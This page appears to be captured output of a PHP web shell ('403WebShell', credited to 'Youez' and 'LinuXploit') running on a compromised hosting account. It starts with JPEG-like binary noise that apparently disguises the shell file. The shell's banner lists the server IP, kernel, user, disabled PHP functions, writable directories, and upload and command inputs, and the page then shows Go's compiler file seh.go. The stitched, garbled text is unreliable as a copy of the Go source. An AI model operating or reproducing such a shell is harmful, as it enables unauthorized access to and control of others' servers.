JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 2.57.91.247  /  Your IP : 216.73.216.71
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/./self/root/opt/golang/1.22.0/src/cmd/internal/obj/x86/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/./self/root/opt/golang/1.22.0/src/cmd/internal/obj/x86/seh.go
// Copyright 2023 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package x86

import (
	"cmd/internal/obj"
	"cmd/internal/objabi"
	"cmd/internal/src"
	"encoding/base64"
	"fmt"
	"math"
)

type sehbuf struct {
	ctxt *obj.Link
	data []byte
	off  int
}

func newsehbuf(ctxt *obj.Link, nodes uint8) sehbuf {
	// - 8 bytes for the header
	// - 2 bytes for each node
	// - 2 bytes in case nodes is not even
	size := 8 + nodes*2
	if nodes%2 != 0 {
		size += 2
	}
	return sehbuf{ctxt, make([]byte, size), 0}
}

func (b *sehbuf) write8(v uint8) {
	b.data[b.off] = v
	b.off++
}

func (b *sehbuf) write32(v uint32) {
	b.ctxt.Arch.ByteOrder.PutUint32(b.data[b.off:], v)
	b.off += 4
}

func (b *sehbuf) writecode(op, value uint8) {
	b.write8(value<<4 | op)
}

// populateSeh generates the SEH unwind information for s.
func populateSeh(ctxt *obj.Link, s *obj.LSym) (sehsym *obj.LSym) {
	if s.NoFrame() {
		return
	}

	// This implementation expects the following function prologue layout:
	// - Stack split code (optional)
	// - PUSHQ	BP
	// - MOVQ	SP,	BP
	//
	// If the prologue layout change, the unwind information should be updated
	// accordingly.

	// Search for the PUSHQ BP instruction inside the prologue.
	var pushbp *obj.Prog
	for p := s.Func().Text; p != nil; p = p.Link {
		if p.As == APUSHQ && p.From.Type == obj.TYPE_REG && p.From.Reg == REG_BP {
			pushbp = p
			break
		}
		if p.Pos.Xlogue() == src.PosPrologueEnd {
			break
		}
	}
	if pushbp == nil {
		ctxt.Diag("missing frame pointer instruction: PUSHQ BP")
		return
	}

	// It must be followed by a MOVQ SP, BP.
	movbp := pushbp.Link
	if movbp == nil {
		ctxt.Diag("missing frame pointer instruction: MOVQ SP, BP")
		return
	}
	if !(movbp.As == AMOVQ && movbp.From.Type == obj.TYPE_REG && movbp.From.Reg == REG_SP &&
		movbp.To.Type == obj.TYPE_REG && movbp.To.Reg == REG_BP && movbp.From.Offset == 0) {
		ctxt.Diag("unexpected frame pointer instruction\n%v", movbp)
		return
	}
	if movbp.Link.Pc > math.MaxUint8 {
		// SEH unwind information don't support prologues that are more than 255 bytes long.
		// These are very rare, but still possible, e.g., when compiling functions with many
		// parameters with -gcflags=-d=maymorestack=runtime.mayMoreStackPreempt.
		// Return without reporting an error.
		return
	}

	// Reference:
	// https://learn.microsoft.com/en-us/cpp/build/exception-handling-x64#struct-unwind_info

	const (
		UWOP_PUSH_NONVOL  = 0
		UWOP_SET_FPREG    = 3
		SEH_REG_BP        = 5
		UNW_FLAG_EHANDLER = 1 << 3
	)

	var exceptionHandler *obj.LSym
	var flags uint8
	if s.Name == "runtime.asmcgocall_landingpad" {
		// Most cgo calls go through runtime.asmcgocall_landingpad,
		// we can use it to catch exceptions from C code.
		// TODO: use a more generic approach to identify which calls need an exception handler.
		exceptionHandler = ctxt.Lookup("runtime.sehtramp")
		if exceptionHandler == nil {
			ctxt.Diag("missing runtime.sehtramp\n")
			return
		}
		flags = UNW_FLAG_EHANDLER
	}

	// Fow now we only support operations which are encoded
	// using a single 2-byte node, so the number of nodes
	// is the number of operations.
	nodes := uint8(2)
	buf := newsehbuf(ctxt, nodes)
	buf.write8(flags | 1)            // Flags + version
	buf.write8(uint8(movbp.Link.Pc)) // Size of prolog
	buf.write8(nodes)                // Count of nodes
	buf.write8(SEH_REG_BP)           // FP register

	// Notes are written in reverse order of appearance.
	buf.write8(uint8(movbp.Link.Pc))
	buf.writecode(UWOP_SET_FPREG, 0)

	buf.write8(uint8(pushbp.Link.Pc))
	buf.writecode(UWOP_PUSH_NONVOL, SEH_REG_BP)

	// The following 4 bytes reference the RVA of the exception handler.
	// The value is set to 0 for now, if an exception handler is needed,
	// it will be updated later with a R_PEIMAGEOFF relocation to the
	// exception handler.
	buf.write32(0)

	// The list of unwind infos in a PE binary have very low cardinality
	// as each info only contains frame pointer operations,
	// which are very similar across functions.
	// Dedup them when possible.
	hash := base64.StdEncoding.EncodeToString(buf.data)
	symname := fmt.Sprintf("%d.%s", len(buf.data), hash)
	return ctxt.LookupInit("go:sehuw."+symname, func(s *obj.LSym) {
		s.WriteBytes(ctxt, 0, buf.data)
		s.Type = objabi.SSEHUNWINDINFO
		s.Set(obj.AttrDuplicateOK, true)
		s.Set(obj.AttrLocal, true)
		if exceptionHandler != nil {
			r := obj.Addrel(s)
			r.Off = int32(len(buf.data) - 4)
			r.Siz = 4
			r.Sym = exceptionHandler
			r.Type = objabi.R_PEIMAGEOFF
		}
		// Note: AttrContentAddressable cannot be set here,
		// because the content-addressable-handling code
		// does not know about aux symbols.
	})
}

Youez - 2016 - github.com/yon3zu
LinuXploit